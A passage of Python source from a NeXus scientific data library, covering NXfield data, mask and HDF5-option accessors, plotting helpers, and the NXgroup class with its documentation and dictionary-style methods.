self._value is None:\n            if self.dtype is None or self.shape is None:\n                return None\n            if (np.prod(self.shape) * np.dtype(self.dtype).itemsize \n                <= NX_MEMORY*1000*1000):\n                try:\n                    if self.nxfilemode:\n                        self._value = self._get_filedata()\n                    elif self._uncopied_data:\n                        self._value = self._get_uncopied_data()\n                    if self._memfile:\n                        self._value = self._get_memdata()\n                except Exception:\n                    raise NeXusError(\"Cannot read data for '%s'\" % self.nxname)\n                if self._value is not None:\n                    self._value.shape = self.shape\n            else:\n                raise NeXusError(\n                    \"Use slabs to access data larger than NX_MEMORY=%s MB\" \n                    % NX_MEMORY)\n        if self.mask is not None:\n            try:\n                if isinstance(self.mask, NXfield):\n                    mask = self.mask.nxdata\n                    if isinstance(self._value, np.ma.MaskedArray):\n                        self._value.mask = mask\n                    else:\n                        self._value = np.ma.array(self._value, mask=mask)\n            except Exception:\n                pass\n        return self._value\n\n    @nxdata.setter\n    def nxdata(self, value):\n        if self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file is locked\")\n        else:\n            self._value, self._dtype, self._shape = _getvalue(\n                value, self._dtype, self._shape)\n            if self._memfile:\n                self._put_memdata(self._value)\n\n    @property\n    def nxtitle(self):\n        \"\"\"\n        Returns the title as a string.\n\n        If there is no title attribute in the parent group, the group's path is \n        returned.\n        \"\"\"\n        root = self.nxroot\n        if root.nxname != '' and root.nxname != 'root':\n            return (root.nxname + '/' + self.nxpath.lstrip('/')).rstrip('/')\n        else:\n            fname = self.nxfilename\n            if fname is not None:\n                return fname + ':' + self.nxpath\n            else:\n                return self.nxpath\n\n    @property\n    def mask(self):\n        \"\"\"\n        Returns the NXfield's mask as an array.\n\n        Only works if the NXfield is in a group and has the 'mask' attribute set\n        or if the NXfield array is defined as a masked array.\n        \"\"\"\n        if 'mask' in self.attrs:\n            if self.nxgroup and self.attrs['mask'] in self.nxgroup:\n                return self.nxgroup[self.attrs['mask']]\n        if self._value is None and self._memfile:\n            if 'mask' in self._memfile:\n                return self._memfile['mask']      \n        if self._value is not None and isinstance(self._value, \n                                                  np.ma.MaskedArray):\n            return self._value.mask\n        return None\n\n    @mask.setter\n    def mask(self, value):\n        if self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file is locked\")\n        if 'mask' in self.attrs:\n            if self.nxgroup:\n                mask_name = self.attrs['mask']\n                if mask_name in self.nxgroup:\n                    self.nxgroup[mask_name][()] = value\n            else:\n                del self.attrs['mask']\n        elif self._value is None:\n            if self._memfile:\n                if 'mask' not in self._memfile:\n                    self._create_memmask()\n                self._memfile['mask'][()] = value\n        if self._value is not None:\n            if isinstance(self._value, np.ma.MaskedArray):\n                self._value.mask = value\n            else:\n                self._value = np.ma.array(self._value, mask=value)\n\n    def resize(self, shape, axis=None):\n        if axis is not None:\n            if not (axis >=0 and axis < self.ndim):\n                raise NeXusError(\"Invalid axis (0 to %s allowed)\" % (self.ndim-1))\n            try:\n                newlen = int(shape)\n            except TypeError:\n                raise NeXusError(\"Argument must be a single integer if axis is specified\")\n            shape = list(self._shape)\n            shape[axis] = newlen\n        if self.checkshape(shape):\n            if self.nxfilemode:\n                with self.nxfile as f:\n                    f[self.nxpath].shape = shape\n                self._value = None\n            elif self._memfile:\n                self._memfile['data'].shape = shape\n                self._value = None\n        else:\n            raise NeXusError(\"Shape incompatible with current NXfield\")\n        self._shape = shape\n        if self._value is not None:\n            self._value.resize(self._shape, refcheck=False)\n\n    def checkshape(self, shape):\n        _maxshape = self.maxshape\n        if _maxshape and not _checkshape(shape, _maxshape):\n            return False\n        elif self.nxfilemode or self._memfile:\n            return _checkshape(self._shape, shape)\n        else:\n            return True\n\n    @property\n    def shape(self):\n        try:\n            return _getshape(self._shape)\n        except TypeError:\n            return ()\n\n    @shape.setter\n    def shape(self, value):\n        self.resize(value)\n\n    @property\n    def dtype(self):\n        return self._dtype\n\n    @dtype.setter\n    def dtype(self, value):\n        if self.nxfilemode:\n            raise NeXusError(\n                \"Cannot change the dtype of a field already stored in a file\")\n        elif self._memfile:\n            raise NeXusError(\n                \"Cannot change the dtype of a field already in core memory\")\n        self._dtype = _getdtype(value)\n        if self._value is not None:\n            self._value = np.asarray(self._value, dtype=self._dtype)\n\n    def get_h5opt(self, name):\n        if self.nxfilemode:\n            with self.nxfile as f:\n                self._h5opts[name] = getattr(f[self.nxfilepath], name)\n        elif self._memfile:\n            self._h5opts[name] = getattr(self._memfile['data'], name)\n        if name in self._h5opts:\n            return self._h5opts[name]\n        else:\n            return None\n\n    def set_h5opt(self, name, value):\n        if self.nxfilemode:\n            raise NeXusError(\n            \"Cannot change the %s of a field already stored in a file\" % name)\n        elif self._memfile:\n            raise NeXusError(\n            \"Cannot change the %s of a field already in core memory\" % name)\n        if value is not None:\n            self._h5opts[name] = value\n        \n    @property\n    def compression(self):\n        return self.get_h5opt('compression')\n\n    @compression.setter\n    def compression(self, value):\n        self.set_h5opt('compression', value)\n        \n    @property\n    def compression_opts(self):\n        return self.get_h5opt('compression_opts')\n\n    @compression_opts.setter\n    def compression_opts(self, value):\n        self.set_h5opt('compression_opts', value)\n        \n    @property\n    def fillvalue(self):\n        return self.get_h5opt('fillvalue')\n\n    @fillvalue.setter\n    def fillvalue(self, value):\n        self.set_h5opt('fillvalue', value)\n\n    @property\n    def fletcher32(self):\n        return self.get_h5opt('fletcher32')\n\n    @fletcher32.setter\n    def fletcher32(self, value):\n        self.set_h5opt('fletcher32', value)\n        \n    @property\n    def chunks(self):\n        return self.get_h5opt('chunks')\n\n    @chunks.setter\n    def chunks(self, value):\n        if is_iterable(value) and len(value) != self.ndim:\n            raise NeXusError(\n                \"Number of chunks does not match the no. of array dimensions\")\n        self.set_h5opt('chunks', value)\n\n    @property\n    def maxshape(self):\n        return self.get_h5opt('maxshape')\n\n    @maxshape.setter\n    def maxshape(self, value):\n        self.set_h5opt('maxshape', _getmaxshape(value, self.shape))\n\n    @property\n    def scaleoffset(self):\n        return self.get_h5opt('scaleoffset')\n\n    @scaleoffset.setter\n    def scaleoffset(self, value):\n        self.set_h5opt('scaleoffset', value)\n        \n    @property\n    def shuffle(self):\n        return self.get_h5opt('shuffle')\n\n    @shuffle.setter\n    def shuffle(self, value):\n        self.set_h5opt('shuffle', value)\n        \n    @property\n    def ndim(self):\n        try:\n            return len(self.shape)\n        except TypeError:\n            return 0\n\n    @property\n    def size(self):\n        return int(np.prod(self.shape))\n\n    @property\n    def safe_attrs(self):\n        return {key: self.attrs[key] for key in self.attrs \n                if (key != 'target' and key != 'signal' and key != 'axes')}\n\n    @property\n    def reversed(self):\n        if self.ndim == 1 and self.nxdata[-1] < self.nxdata[0]:\n            return True\n        else:\n            return False\n\n    @property\n    def plot_shape(self):\n        try:  \n            _shape = list(self.shape)\n            while 1 in _shape:\n                _shape.remove(1)\n            return tuple(_shape)\n        except Exception:\n            return ()\n\n    @property\n    def plot_rank(self):\n        return len(self.plot_shape)\n\n    def is_plottable(self):\n        if self.plot_rank > 0:\n            return True\n        else:\n            return False\n\n    def plot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n             vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plot data if the signal attribute is defined.\n\n        The format argument is used to set the color and type of the\n        markers or lines for one-dimensional plots, using the standard \n        Mtplotlib syntax. The default is set to blue circles. All \n        keyword arguments accepted by matplotlib.pyplot.plot can be\n        used to customize the plot.\n        \n        In addition to the matplotlib keyword arguments, the following\n        are defined::\n        \n            log = True     - plot the intensity on a log scale\n            logy = True    - plot the y-axis on a log scale\n            logx = True    - plot the x-axis on a log scale\n            over = True    - plot on the current figure\n            image = True   - plot as an RGB(A) image\n\n        Raises NeXusError if the data could not be plotted.\n        \"\"\"\n        if not self.exists():\n            raise NeXusError(\"'%s' does not exist\" % \n                             os.path.abspath(self.nxfilename))\n\n        try:\n            from __main__ import plotview\n            if plotview is None:\n                raise ImportError\n        except ImportError:\n            from .plot import plotview\n\n        if self.is_plottable():\n            data = NXdata(self, self.nxaxes, title=self.nxtitle)\n            if self.nxroot.nxclass == \"NXroot\":\n                signal_path = self.nxroot.nxname + self.nxpath\n            else:\n                signal_path = self.nxpath\n            data.nxsignal.attrs['signal_path'] = signal_path\n            plotview.plot(data, fmt, xmin=None, xmax=None, ymin=None, ymax=None,\n                          vmin=None, vmax=None, **kwargs)\n        else:\n            raise NeXusError(\"NXfield not plottable\")\n    \n    def oplot(self, fmt='', **kwargs):\n        \"\"\"\n        Plots the data contained within the group over the current figure.\n        \"\"\"\n        self.plot(fmt=fmt, over=True, **kwargs)\n\n    def logplot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n                vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plots the data intensity contained within the group on a log scale.\n        \"\"\"\n        self.plot(fmt=fmt, log=True,\n                  xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax,\n                  vmin=vmin, vmax=vmax, **kwargs)\n\n    def implot(self, fmt='', xmin=None, xmax=None, ymin=None, ymax=None,\n                vmin=None, vmax=None, **kwargs):\n        \"\"\"\n        Plots the data intensity as an RGB(A) image.\n        \"\"\"\n        if self.plot_rank > 2 and (self.shape[-1] == 3 or self.shape[-1] == 4):\n            self.plot(fmt=fmt, image=True,\n                      xmin=xmin, xmax=xmax, ymin=ymin, ymax=ymax,\n                      vmin=vmin, vmax=vmax, **kwargs)\n        else:\n            raise NeXusError(\"Invalid shape for RGB(A) image\")\n\n\nSDS = NXfield # For backward compatibility\n\n\nclass NXgroup(NXobject):\n\n    \"\"\"\n    A NeXus group object.\n\n    This is a subclass of NXobject and is the base class for the specific\n    NeXus group classes, e.g., NXentry, NXsample, NXdata.\n\n    **Parameters**\n\n    The NXgroup parameters consist of a list of positional and/or keyword\n    arguments.\n\n    Positional Arguments: \n        These must be valid NeXus objects, either an NXfield or a NeXus group. \n        These are added without modification as children of this group.\n\n    Keyword Arguments: \n        Apart from a list of special keywords shown below, keyword arguments are\n        used to add children to the group using the keywords as attribute names. \n        The values can either be valid NXfields or NXgroups, in which case the \n        'name' attribute is changed to the keyword, or they can be numerical or \n        string data, which are converted to NXfield objects.\n\n    Special Keyword Arguments:\n\n        name : string\n            The name of the NXgroup, which is directly accessible as the NXgroup\n            attribute 'name'. If the NXgroup is initialized as the attribute of\n            a parent group, the name is automatically set to the name of this\n            attribute. If 'nxclass' is specified and has the usual prefix 'NX',\n            the default name is the class name without this prefix.\n        nxclass : string\n            The class of the NXgroup.\n        entries : dict\n            A dictionary containing a list of group entries. This is an\n            alternative way of adding group entries to the use of keyword\n            arguments.\n        file : filename\n            The file from which the NXfield has been read.\n        path : string\n            The path to this object with respect to the root of the NeXus tree,\n            using the convention for unix file paths.\n        group : NXobject (NXgroup or subclass of NXgroup)\n            The parent NeXus group, which is accessible as the group attribute\n            'group'. If the group is initialized as the attribute of\n            a parent group, this is set to the parent group.\n\n    **Python Attributes**\n\n    nxclass : string\n        The class of the NXobject.\n    nxname : string\n        The name of the NXfield.\n    entries : dictionary\n        A dictionary of all the NeXus objects contained within an NXgroup.\n    attrs : dictionary\n        A dictionary of all the NeXus attributes, i.e., attribute with class \n        NXattr.\n    entries : dictionary\n        A dictionary of all the NeXus objects contained within the group.\n    attrs : dictionary\n        A dictionary of all the group's NeXus attributes, which all have the\n        class NXattr.\n    nxpath : string\n        The path to this object with respect to the root of the NeXus tree. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n    nxroot : NXgroup\n        The root object of the NeXus tree containing this object. For\n        NeXus data read from a file, this will be a group of class NXroot, but\n        if the NeXus tree was defined interactively, it can be any valid\n        NXgroup.\n\n    **NeXus Group Entries**\n\n    Just as in a NeXus file, NeXus groups can contain either data or other\n    groups, represented by NXfield and NXgroup objects respectively. To\n    distinguish them from regular Python attributes, all NeXus objects are\n    stored in the 'entries' dictionary of the NXgroup. However, they can usually\n    be assigned or referenced as if they are Python attributes, i.e., using the\n    dictionary name directly as the group attribute name, as long as this name\n    is not the same as one of the Python attributes defined above or as one of\n    the NXfield Python attributes.\n\n    1) Assigning a NeXus object to a NeXus group\n\n        In the example below, after assigning the NXgroup, the following three\n        NeXus object assignments to entry.sample are all equivalent:\n\n        >>> entry.sample = NXsample()\n        >>> entry.sample['temperature'] = NXfield(40.0)\n        >>> entry.sample.temperature = NXfield(40.0)\n        >>> entry.sample.temperature = 40.0\n        >>> entry.sample.temperature\n        NXfield(40.0)\n\n        If the assigned value is not a valid NXobject, then it is cast as an NXfield\n        with a type determined from the Python data type.\n\n        >>> entry.sample.temperature = 40.0\n        >>> entry.sample.temperature\n        NXfield(40.0)\n        >>> entry.data.data.x=np.linspace(0,10,11).astype('float32')\n        >>> entry.data.data.x\n        NXfield([  0.   1.   2. ...,   8.   9.  10.])\n\n    2) Referencing a NeXus object in a NeXus group\n\n        If the name of the NeXus object is not the same as any of the Python\n        attributes listed above, or the methods listed below, they can be referenced\n        as if they were a Python attribute of the NXgroup. However, it is only possible\n        to reference attributes with one of the proscribed names using the group\n        dictionary, i.e.,\n\n        >>> entry.sample.tree = 100.0\n        >>> print entry.sample.tree\n        sample:NXsample\n          tree = 100.0\n        >>> entry.sample['tree']\n        NXfield(100.0)\n\n        For this reason, it is recommended to use the group dictionary to reference\n        all group objects within Python scripts.\n\n    **NeXus Attributes**\n\n    NeXus attributes are not currently used much with NXgroups, except for the\n    root group, which has a number of global attributes to store the file name,\n    file creation time, and NeXus and HDF version numbers. However, the\n    mechanism described for NXfields works here as well. All NeXus attributes\n    are stored in the 'attrs' dictionary of the NXgroup, but can be referenced\n    as if they are Python attributes as long as there is no name clash.\n\n        >>> entry.sample.temperature = 40.0\n        >>> entry.sample.attrs['tree'] = 10.0\n        >>> print entry.sample.tree\n        sample:NXsample\n          @tree = 10.0\n          temperature = 40.0\n        >>> entry.sample.attrs['tree']\n        NXattr(10.0)\n\n    **Methods**\n\n    insert(self, NXobject, name='unknown'):\n        Insert a valid NXobject (NXfield or NXgroup) into the group.\n\n        If NXobject has a 'name' attribute and the 'name' keyword is not given,\n        then the object is inserted with the NXobject name.\n\n    makelink(self, NXobject):\n        Add the NXobject to the group entries as a link (NXlink).\n\n    dir(self, attrs=False, recursive=False):\n        Print the group directory.\n\n        The directory is a list of NeXus objects within this group, either NeXus\n        groups or NXfield data. If 'attrs' is True, NXfield attributes are\n        displayed. If 'recursive' is True, the contents of child groups are also\n        displayed.\n\n    tree:\n        Returns the group tree.\n\n        It invokes the 'dir' method with both 'attrs' and 'recursive'\n        set to True.\n\n    save(self, filename, format='w5')\n        Save the NeXus group into a file\n\n        The object is wrapped in an NXroot group (with name 'root') and an\n        NXentry group (with name 'entry'), if necessary, in order to produce\n        a valid NeXus file.\n\n    **Examples**\n\n    >>> x = NXfield(np.linspace(0,2*np.pi,101), units='degree')\n    >>> entry = NXgroup(x, name='entry', nxclass='NXentry')\n    >>> entry.sample = NXgroup(temperature=NXfield(40.0,units='K'),\n                               nxclass='NXsample')\n    >>> print entry.sample.tree\n    sample:NXsample\n      temperature = 40.0\n        @units = K\n\n    Note: All the currently defined NeXus classes are defined as subclasses of \n    the NXgroup class. It is recommended that these are used directly, so that \n    the above examples become:\n\n    >>> entry = NXentry(x)\n    >>> entry.sample = NXsample(temperature=NXfield(40.0,units='K'))\n\n    or\n\n    >>> entry.sample.temperature = 40.0\n    >>> entry.sample.temperature.units='K'\n\n    \"\"\"\n    _class = \"NXgroup\"\n\n    def __init__(self, *args, **kwargs):\n        self._entries = {}\n        if \"name\" in kwargs:\n            self._name = kwargs[\"name\"]\n            del kwargs[\"name\"]\n        if \"entries\" in kwargs:\n            for k,v in kwargs[\"entries\"].items():\n                self._entries[k] = deepcopy(v)\n            del kwargs[\"entries\"]\n        if \"new_entries\" in kwargs:\n            for k,v in kwargs[\"new_entries\"].items():\n                self._entries[k] = v\n            del kwargs[\"new_entries\"]            \n        if \"attrs\" in kwargs:\n            self._attrs = AttrDict(self, attrs=kwargs[\"attrs\"])\n            del kwargs[\"attrs\"]\n        else:\n            self._attrs = AttrDict(self)\n        if \"nxclass\" in kwargs:\n            self._class = kwargs[\"nxclass\"]\n            del kwargs[\"nxclass\"]\n        if \"group\" in kwargs:\n            self._group = kwargs[\"group\"]\n            del kwargs[\"group\"]\n        for k,v in kwargs.items():\n            try:\n                self[k] = v\n            except AttributeError:\n                raise NeXusError(\n                    \"Keyword arguments must be valid NXobjects\")\n        if self.nxclass.startswith(\"NX\"):\n            if self.nxname == \"unknown\" or self.nxname == \"\": \n                self._name = self.nxclass[2:]\n            try: # If one exists, set the class to a valid NXgroup subclass\n                self.__class__ = _getclass(self._class)\n            except Exception:\n                pass\n        for arg in args:\n            try:\n                self[arg.nxname] = arg\n            except AttributeError:\n                raise NeXusError(\n                    \"Non-keyword arguments must be valid NXobjects\")\n        self.set_changed()\n\n    def __dir__(self):\n        return sorted([c for c in dir(super(self.__class__, self))\n                       if not c.startswith('_')]+list(self)+list(self.attrs), \n                      key=natural_sort)\n\n    def __repr__(self):\n        return \"%s('%s')\" % (self.__class__.__name__, self.nxname)\n\n    def __hash__(self):\n        return id(self)\n\n    def __getattr__(self, name):\n        \"\"\"\n        Provides direct access to groups via nxclass name.\n        \"\"\"\n        if name.startswith(u'NX'):\n            return self.component(name)\n        elif name in self.entries:\n            return self.entries[name]\n        elif name in self.attrs:\n            return self.attrs[name]\n        raise NeXusError(\"'\"+name+\"' not in \"+self.nxpath)\n\n    def __setattr__(self, name, value):\n        \"\"\"\n        Sets an attribute as an object or regular Python attribute.\n\n        It is assumed that attributes starting with 'nx' or '_' are regular\n        Python attributes. All other attributes are converted to valid \n        NXobjects, with class NXfield, NXgroup, or a sub-class of NXgroup, \n        depending on the assigned value.\n\n        The internal value of the attribute name, i.e., 'name', is set to the\n        attribute name used in the assignment.  The parent group of the\n        attribute, i.e., 'group', is set to the parent group of the attribute.\n\n        If the assigned value is a numerical (scalar or array) or string object,\n        it is converted to an object of class NXfield, whose attribute, \n        'nxdata', is set to the assigned value.\n        \"\"\"\n        if name.startswith('_') or name.startswith('nx'):\n            object.__setattr__(self, name, value)\n        elif isinstance(value, NXattr):\n            if self.nxfilemode == 'r':\n                raise NeXusError(\"NeXus file opened as readonly\")\n            self._attrs[name] = value\n        else:\n            self[name] = value\n\n    def __delattr__(self, name):\n        if name in self.entries:\n            raise NeXusError(\n                \"Members can only be deleted using the group dictionary\")\n        else:\n            object.__delattr__(self, name)\n\n    def __getitem__(self, key):\n        \"\"\"\n        Returns an entry in the group.\n        \"\"\"\n        if is_text(key):\n            if '/' in key:\n                if key.startswith('/'):\n                    return self.nxroot[key[1:]]\n                names = [name for name in key.split('/') if name]\n                node = self\n                for name in names:\n                    if name in node:\n                        node = node.entries[name]\n                    else:\n                        raise NeXusError(\"Invalid path\")\n                return node\n            else:\n                return self.entries[key]\n        else:\n            raise NeXusError(\"Invalid index\")\n\n    def __setitem__(self, key, value):\n        \"\"\"\n        Adds or modifies an item in the NeXus group.\n        \"\"\"\n        if is_text(key):\n            group = self\n            if '/' in key:\n                names = [name for name in key.split('/') if name]\n                key = names.pop()\n                for name in names:\n                    if name in group:\n                        group = group[name]\n                    else:\n                        print(key, value)\n                        raise NeXusError(\"Invalid path\")\n            if group.nxfilemode == 'r':\n                raise NeXusError(\"NeXus group marked as readonly\")\n            elif isinstance(value, NXroot):\n                raise NeXusError(\n                    \"Cannot assign an NXroot group to another group\")\n            elif key in group:\n                if isinstance(value, NXgroup):\n                    raise NeXusError(\n                        \"Cannot assign an NXgroup to an existing group entry\")\n                elif isinstance(value, NXlink):\n                    raise NeXusError(\n                        \"Cannot assign an NXlink to an existing group entry\")\n                elif isinstance(group.entries[key], NXlink):\n                    raise NeXusError(\"Cannot assign values to an NXlink\")\n                group.entries[key].nxdata = value\n                if isinstance(value, NXfield):\n                    group.entries[key]._setattrs(value.attrs)\n            elif isinstance(value, NXobject):\n                if value._group:\n                    value = deepcopy(value)\n                value._group = group\n                value._name = key\n                if isinstance(value, NXlink):\n                    value.initialize_link()\n                group.entries[key] = value\n            else:\n                group.entries[key] = NXfield(value=value, name=key, group=group)\n            if isinstance(group.entries[key], NXfield):\n                field = group.entries[key]\n                if not field._value is None:\n                    if isinstance(field._value, np.ma.MaskedArray):\n                        mask_name = field._create_mask()\n                        group[mask_name] = field._value.mask\n                elif field._memfile is not None:\n                    if 'mask' in field._memfile:\n                        mask_name = field._create_mask()\n                        group[mask_name]._create_memfile()\n                        field._memfile.copy('mask', group[mask_name]._memfile, \n                                            'data')\n                        del field._memfile['mask']\n            elif (isinstance(group.entries[key], NXentry) and \n                  not isinstance(group, NXroot)):\n                  group.entries[key].nxclass = NXsubentry\n            group.entries[key].update()\n        else:\n            raise NeXusError(\"Invalid key\")\n\n    def __delitem__(self, key):\n        if self.nxfilemode == 'r':\n            raise NeXusError(\"NeXus file opened as readonly\")\n        if is_text(key): #i.e., deleting a NeXus object\n            group = self\n            if '/' in key:\n                names = [name for name in key.split('/') if name]\n                key = names.pop()\n                for name in names:\n                    if name in group:\n                        group = group[name]\n                    else:\n                        raise NeXusError(\"Invalid path\")\n            if key not in group:\n                raise NeXusError(\"'\"+key+\"' not in \"+group.nxpath)\n            if group.nxfilemode == 'rw':\n                with group.nxfile as f:\n                    if 'mask' in group.entries[key].attrs:\n                        del f[group.entries[key].mask.nxpath]\n                    del f[group.entries[key].nxpath]\n            if 'mask' in group.entries[key].attrs:\n                del group.entries[group.entries[key].mask.nxname]\n            del group.entries[key]\n            group.set_changed()\n\n    def __contains__(self, key):\n        \"\"\"\n        Implements 'k in d' test using the group's entries.\n        \"\"\"\n        if isinstance(self, NXroot) and key == '/':\n            return True\n        elif isinstance(key, NXobject):\n            return id(key) in [id(x) for x in self.entries.values()]\n        else:\n            try:\n                return isinstance(self[key], NXobject)\t\t\n            except Exception:\t\t\n                return False\n\n    def __eq__(self, other):\n        \"\"\"\n        Compares the entries dictionaries\n        \"\"\"\n        if not isinstance(other, NXgroup): \n            return False\n        elif id(self) == id(other):\n            return True\n        else:\n            return self.entries == other.entries\n\n    def __iter__(self):\n        \"\"\"\n        Implements key iteration\n        \"\"\"\n        return self.entries.__iter__()\n\n    def __len__(self):\n        \"\"\"\n        Returns the number of entries in the group\n        \"\"\"\n        return len(self.entries)\n\n    def __nonzero__(self):\n        \"\"\"\n        Return confirmation that the group exists.\n        \"\"\"\n        return True\n\n    def __deepcopy__(self, memo):\n        obj = self\n        dpcpy = obj.__class__()\n        dpcpy._name = self._name\n        memo[id(self)] = dpcpy\n        dpcpy._changed = True\n        for k,v in obj.items():\n            if isinstance(v, NXlink):\n                v = v.nxlink\n            dpcpy.entries[k] = deepcopy(v, memo)\n            dpcpy.entries[k]._group = dpcpy\n        for k, v in obj.attrs.items():\n            dpcpy.attrs[k] = copy(v)\n        if 'target' in dpcpy.attrs:\n            del dpcpy.attrs['target']\n        dpcpy._group = None\n        return dpcpy\n\n    def walk(self):\n        yield self\n        for node in self.values():\n            for child in node.walk():\n                yield child\n\n    def update(self):\n        \"\"\"\n        Updates the NXgroup, including its children, to the NeXus file.\n        \"\"\"\n        if self.nxfilemode == 'rw':\n            with self.nxfile as f:\n                f.update(self)\n        elif self.nxfilemode is None:\n            for node in self.walk():\n                if isinstance(node, NXfield) and node._uncopied_data:\n                    node._value = node._get_uncopied_data()\n        self.set_changed()\n\n    def get(self, name, default=None):\n        \"\"\"\n        Retrieves the group entry, or return default if it doesn't exist\n        \"\"\"\n        try:\n            return self.entries[name]\n        except KeyError:\n            return default\n            \n    def keys(self):\n        \"\"\"\n        Returns the names of NeXus objects in the group.\n        \"\"\"\n        return self.entries.keys()\n\n    def iterkeys(self):\n        \"\"\" \n        Get an iterator over group object names\n        \"\"\"\n        return iter(self.entries)\n\n    def values(self):\n        \"\"\"\n        Returns the values of NeXus objects in the group.\n        \"\"\"\n        return self.entries.values()\n\n    def itervalues(self):\n        \"\"\"\n        Get an iterator over group objects\n        \"\"\"\n        for key in self.entries:\n            yield self.entries.get(key)\n\n    def items(self):\n        \"\"\"\n        Returns a list of the NeXus objects in the group as (key,value) pairs.\n        \"\"\"\n        return self.entries.items()\n\n    def iteritems(self):\n        \"\"\"\n        Get an iterator over (name, object) pairs\n        \"\"\"\n        for key in self.entries:\n            yield (key, self.entries.get(key))\n\n    def has_key(self, name):\n        \"\"\"\n        Returns true if a NeXus object with the specified name is in the group.\n        \"\"\"\n        return name in self.entries   \n\n    def copy(self):\n        \"\"\"\n        Returns a copy of the group's entries\n        \"\"\"\n        return deepcopy(self)\n\n    def clear(self):\n        raise NeXusError(\"This method is not implemented for NXgroups\")\n\n    def pop(self, *args, **kwargs):\n        raise NeXusError(\"This method is not implemented for NXgroups\")\n\n    def popitem(self, *args, **kwargs):\n        raise NeXusError(\"This method is not implemented for NXgroups\")\n\n    def fromkeys(self, *args, **kwargs):\n        raise NeXusError(\"This method is not implemented for NXgroups\")\n\n    def setdefault(self, *args, **kwargs):\n        raise NeXusError(\"This method is not implemented for NXgroups\")\n\n    def component(self, nxclass):\n        \"\"\"\n        Finds all child objects that have a particular class.\n        \"\"\"\n        return [self.entries[i] for i in sorted(self.entries, key=natural_sort)\n                if self.entries[i].nxclass==nxclass]\n\n    def insert(self, value, name='unknown'):\n        \"\"\"\n        Adds an attribute to the group.\n\n        If it is not a valid NeXus object, the attribute is converted to an \n        NXfield. If the object is an internal link within an externally linked\n        file, the linked object in the external file is copied.\n        \"\"\"\n        if isinstance(value, NXobject):\n            if name == 'unknown': \n                name = value.nxname\n            if name in self.entries:\n                raise NeXusError(\"'%s' already exists in group\" % name)\n            self[name] = value\n            self.update()\n        else:\n            if name in self.entries:\n                raise NeXusError(\"'%s' already exists in group\" % name)\n            self[name] = NXfield(value=value, name=name, group=self)\n\n    def makelink(self, target, name=None, abspath=False):\n        \"\"\"\n        Creates a linked NXobject within the group.\n\n        The argument is the parent object. All attributes are inherited from the \n        parent object including the name.\n        \n        The root of the target and child's group must be the same.\n        \"\"\"\n        if isinstance(target, NXlink):\n            raise NeXusError(\"Cannot link to an NXlink object\")\n        elif not isinstance(target, NXobject):\n            raise NeXusError(\"Link target must be an NXobject\")\n        elif not isinstance(self.nxroot, NXroot):\n            raise NeXusError(\n                \"The group must have a root object of class NXroot\")\n        elif target.is_external():\n            raise NeXusError(\n                \"Cannot link to an object in an externally linked group\")\n        if name is None:\n            name = target.nxname\n        if name in self:\n            raise NeXusError(\"Object with the same name already exists in '%s'\" \n                             % self.nxpath)        \n        if self.nxroot == target.nxroot:\n            self[name] = NXlink(target=target)\n        else:\n            self[name] = NXlink(target=target.nxpath, file=target.nxfilename,\n                                abspath=abspath)\n \n    def sum(self, axis=None, averaged=False):\n        \"\"\"\n        Returns the sum of the NXdata group using the Numpy sum method\n        on the NXdata signal. The sum is over a single axis or a tuple of axes\n        using the Numpy sum method.\n\n        The result contains a copy of all the metadata contained in\n        the NXdata group.\n        \"\"\"\n        if self.nxsignal is None:\n            raise NeXusError(\"No signal to sum\")\n        if not hasattr(self,\"nxclass\"):\n            raise NeXusError(\"Summing not allowed for groups of unknown class\")\n        if axis is None:\n            if averaged:\n                return self.nxsignal.sum() / self.nxsignal.size\n            else:\n                return self.nxsignal.sum()\n        else:\n            if isinstance(axis, numbers.Integral):\n                axis = [axis]\n            axis = tuple(axis)\n            signal = NXfield(self.nxsignal.sum(axis), name=self.nxsignal.nxname,\n                             attrs=self.nxsignal.safe_attrs)\n            axes = self.nxaxes\n            averages = []\n            for ax in axis:\n                summedaxis = deepcopy(axes[ax])\n                summedaxis.attrs[\"minimum\"] = summedaxis.nxdata[0]\n                summedaxis.attrs[\"maximum\"] = summedaxis.nxdata[-1]\n                summedaxis.attrs[\"summed_bins\"] = summedaxis.size\n                averages.append(NXfield(\n                    0.5*(summedaxis.nxdata[0]+summedaxis.nxdata[-1]), \n                    name=summedaxis.nxname,attrs=summedaxis.attrs))\n            axes = [axes[i] for i in range(len(axes)) if i not in axis]\n            result = NXdata(signal, axes)\n            summed_bins = 1\n            for average in averages:\n                result.insert(average)\n                summed_bins *= average.attrs[\"summed_bins\"]\n            if averaged:\n                result.nxsignal = result.nxsignal / summed_bins\n                result.attrs[\"averaged_bins\"] = summed_bins\n            else:\n                result.attrs[\"summed_bins\"] = summed_bins\n            if self.nxerrors:\n                errors = np.sqrt((self.nxerrors.nxdata**2).sum(axis))\n                if averaged:\n                    result.nxerrors = NXfield(errors) / summed_bins\n                else:\n                    result.nxerrors = NXfield(errors)\n            if self.nxtitle:\n                result.title = self.nxtitle\n            return result\n\n    def average(self, axis=None):\n        \"\"\"\n        Returns the sum of the NXdata group using the Numpy sum method\n        on the NXdata signal. The result is then divided by the number of \n        summed bins to produce an average.\n\n        The result contains a copy of all the metadata contained in\n        the NXdata group.\n        \"\"\"\n        return self.sum(axis, averaged=True)\n\n    def moment(self, order=1, center=None):\n        \"\"\"\n        Returns an NXfield containing the central moments of the NXdata group\n        assuming the signal is one-dimensional.\n        \"\"\"\n        signal, axes = self.nxsignal, self.nxaxes\n        if signal is None:\n            raise NeXusError(\"No signal to calculate\")\n        elif len(signal.shape) > 1:\n            raise NeXusError(\n                \"Operation only possible on one-dimensional signals\")\n        if not hasattr(self, \"nxclass\"):\n            raise NeXusError(\n                \"Operation not allowed for groups of unknown class\")\n        y = signal / signal.sum()\n        x = centers(y, axes)[0]\n        if center:\n            c = center\n        else:\n            c = (y * x).sum()\n        if order == 1:\n            return c\n        else:\n            return (y * (x - c)**order).sum()\n\n    def mean(self):\n        \"\"\"\n        Returns an NXfield containing the mean of the NXdata group\n        assuming the signal is one-dimensional.\n        \"\"\"\n        return self.moment(1)\n\n    def var(self):\n        \"\"\"\n        Returns an 